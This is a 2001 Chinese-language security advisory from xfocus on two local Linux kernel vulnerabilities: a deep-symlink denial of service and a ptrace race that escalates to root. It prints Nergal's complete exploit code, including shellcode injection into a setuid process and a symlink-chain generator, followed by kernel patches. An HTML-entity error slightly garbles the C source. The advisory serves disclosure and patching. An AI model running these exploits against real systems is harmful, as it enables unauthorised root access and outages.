xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux 内核存在漏洞


发布时间:2001-10-19
更新时间:2001-10-19
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
linux 2.2.x, x<=19 和 2.4.y, y<=9
详细描述
linux 2.2.x, x<=19 和 2.4.y, y<=9中存在本地拒绝服务攻击和ptrace问题,

1)通过深层符号连接可以导致拒绝服务攻击

攻击者可以强迫通过内核对深层符号连接进行大量的时间处理,而导致不能
处理其他进程。下面脚本建立了5个符号连接,每个包含2*N+1个路径元素,
当N=3时,符号连接如下:

$ ls -lG
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l
lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 ->
        l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5
drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here

时间命令"head l0"消耗时间如下:

N system time
10: sys 0m0.050s
20: sys 0m1.400s
30: sys 0m10.150s
40: sys 0m41.840s

当"head l0"被执行的时候,其他进程没有安排运行,这样就可以导致拒绝
服务攻击。

2)通过ptrace(3)可以导致ROOT权利的获得

要问题在于当一个进程被ptrace跟踪后,如果它再启动某个setuid程序时,系统仍然认为它是一个被跟踪的进程。这可能导致普通用户的进程可以修改特权进程的执行流程,从而提升权限。

测试代码
---------------------------------------------------------------
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
    long ebx, ecx, edx, esi, edi, ebp, eax;
    unsigned short ds, __ds, es, __es;
    unsigned short fs, __fs, gs, __gs;
    long orig_eax, eip;
    unsigned short cs, __cs;
    long eflags, esp;
    unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
    int status;
    int i, wpid, pid = atoi(argv[1]);
    struct user_regs_struct regs;
    if (ptrace(PTRACE_GETREGS, pid, 0, &reg;s)) {
        perror("PTRACE_GETREGS");
        exit(0);
    }
    regs.eip = ADDR;
    if (ptrace(PTRACE_SETREGS, pid, 0, &reg;s))
        exit(0);
    for (i = 0; i <= strlen(hellcode) + 5; i += 4)
        ptrace(PTRACE_POKETEXT, pid, ADDR + i,
            *(unsigned int *) (hellcode + i));
    //  kill (pid, SIGSTOP);
    if (ptrace(PTRACE_DETACH, pid, 0, 0))
        exit(0);
    close(2);
    do {
        wpid = waitpid(-1, &status, 0);
        if (wpid == -1) {
            perror("waitpid");
            exit(1);
        }
    } while (wpid != pid);
}


--------------------------------------------------------------------
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
    echo A numerical argument is required.
    exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l

---------------------------------------------------------------------
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
    char z;
    if (read(fd, &z, 1) <= 0) {
        perror("read:");
        exit(1);
    }
    execl("/usr/bin/passwd", "passwd", 0);
    perror("execl");
    exit(1);
}
void insert(int pid)
{
    char buf[100];
    char *ptr = buf;
    sprintf(buf, "exec ./insert_shellcode %i\n", pid);
    while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
    int res, fifo;
    int status;
    int pid, n;
    int pipa[2];
    char buf[1024];
    pipe(pipa);
    switch (pid = fork()) {
    case -1:
        perror("fork");
        exit(1);
    case 0:
        close(pipa[1]);
        ex_passwd(pipa[0]);
    default:;
    }


    res = ptrace(PTRACE_ATTACH, pid, 0, 0);
    if (res) {
        perror("attach");
        exit(1);
    }
    res = waitpid(-1, &status, 0);
    if (res == -1) {
        perror("waitpid");
        exit(1);
    }
    res = ptrace(PTRACE_CONT, pid, 0, 0);
    if (res) {
        perror("cont");
        exit(1);
    }
    fprintf(stderr, "attached\n");
    switch (fork()) {
    case -1:
        perror("fork");
        exit(1);
    case 0:
        close(pipa[1]);
        sleep(1);
        insert(pid);
        do {
            n = read(pipa[0], buf, sizeof(buf));
        } while (n > 0);
        if (n < 0)
            perror("read");
        exit(0);
    default:;
    }
    close(pipa[0]);

    dup2(pipa[1], 2);
    close(pipa[1]);
    /* Decrystallizing reason */
    setenv("LD_DEBUG", "libs", 1);
    /* With strength I burn */
    execl("/usr/bin/newgrp", "newgrp", 0);
}

解决方案
2.4.12 kernel 已经修补了这些问题,2.2.19-deep-symlink.patch 和
2.2.19-ptrace.patch可以修补2.2.19上的问题。


--------------------------------------------------------------------
--- linux-2.2.19/fs/namei.c.orig    Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c    Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
        result->d_op->d_revalidate(result, flags);
    return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */

static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@

    if ((follow & LOOKUP_FOLLOW)
        && inode && inode->i_op && inode->i_op->follow_link) {
-        if (current->link_count < 5) {
+        if (current->link_count < 25) {
            struct dentry * result;

-            current->link_count++;
+            if (current->need_resched) {
+                current->state = TASK_RUNNING;    
+                schedule();
+            }
+            current->link_count += 5;
            /* This eats the base */
-            result = inode->i_op->follow_link(dentry, base, follow);
-            current->link_count--;
+            result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+            current->link_count -= 4;
            dput(dentry);
            return result;
        }
@@ -324,6 +337,8 @@
    struct dentry * dentry;
    struct inode *inode;

+    if (!(lookup_flags & LOOKUP_INSYMLINK))
+        current->link_count=0;
    if (*name == '/') {
        if (base)
            dput(base);
--- linux-2.2.19/include/linux/fs.h.orig    Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h    Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY    (2)
#define LOOKUP_SLASHOK        (4)
#define LOOKUP_CONTINUE        (8)
+#define LOOKUP_INSYMLINK    (16)

extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);


----------------------------------------------------------------------
diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c    Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c    Tue Oct  9 05:00:50 2001
@@ -552,12 +645,11 @@
}

/*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
  */
static inline int must_not_trace_exec(struct task_struct * p)
{
-    return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+    return (p->flags & PF_PTRACED);
}

/*
---------------------------------------------------------------------

相关信息
Nergal
http://www.7bulls.com
参考:http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html